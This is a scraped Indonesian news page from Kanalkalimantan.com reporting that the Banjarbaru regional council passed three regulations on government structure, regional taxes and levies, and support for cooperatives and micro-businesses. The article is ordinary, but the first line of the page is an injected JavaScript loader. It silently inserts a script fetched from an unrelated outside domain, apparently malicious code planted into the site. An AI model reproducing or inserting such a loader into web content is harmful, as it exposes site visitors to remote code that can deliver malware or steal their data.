(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Sahkan Tiga Raperda, Ini Kata Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru sahkan tiga buah Rancangan Peraturan Daerah (Raperda) menjadi Peraturan Daerah (Perda) yang diterapkan terhitung sejak pengesahan aturan itu.

Pengesahan ditandai Ketua DPRD Banjarbaru Fadliansyah bersama Wali Kota Banjarbaru HM Aditya Mufti Ariffin menandatangani berita acara keputusan bersama melalui rapat paripurna di DPRD Banjarbaru, Selasa (17/10/2023).

“Hasil kesepakatan bersama yang telah disetujui seluruh anggota DPRD dan tim pembentukan Perda Pemko Banjarbaru diputuskan pengesahan tiga Raperda menjadi Perda,” ujar Ketua DPRD Banjarbaru Fadliansyah setelah rapat paripurna.

Tiga Raperda yang resmi disahkan yakni Perda tentang perubahan atas Perda nomor 10 tahun 2016 tentang pembentukan susunan perangkat daerah Pemko Banjarbaru.

Baca juga: Kasus Cuci Uang Narkoba Ayah Fredy Pratama Ditangani Jaksa Kasus Ferdy Sambo

Perda lainnya yang disahkan yakni Perda tentang pajak daerah dan retribusi daerah, serta Perda tentang kemudahan, perlindungan, dan pemberdayaan koperasi usaha mikro.

“Kami berharap, perda yang telah disahkan mampu mencapai tujuan baik untuk peningkatan pendapatan daerah, kelengkapan organisasi dan koperasi, serta usaha mikro yang terus berkembang,” ujar Fadliansyah.

Dijelaskan Fadliansyah, Perda pajak dan retribusi merupakan turunan kebijakan pemerintah pusat, dengan pemotongan pajak daerah seperti pajak parkir dan penerangan jalan umum (PJU) sebesar 10 persen.

Kemudian Perda kemudahan dan perlindungan koperasi Usaha Mikro mengatasi pentingnya permodalan UMKM dan pembinaan dengan persyaratan usaha setidaknya satu tahun dan izin yang sah.

Baca juga: Diduga Berawal Pesan WhatsApp Mesra, Seorang Pemuda Diperas hingga Rp14 Juta

Sementara, Perda STOK mencakup penyesuaian nomenklatur beberapa SKPD seperti struktur organisasi Badan Penanggulangan Bencana Daerah (BPBD) yang ditingkatkan status menjadi grade A.

“Kita semua berharap, SKPD terkait mampu menjalankan tugas dengan baik sehingga tujuan pembentukan Perda tercapai sesuai rencana agar bisa membangun daerah maupun pengembangan koperasi,” katanya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.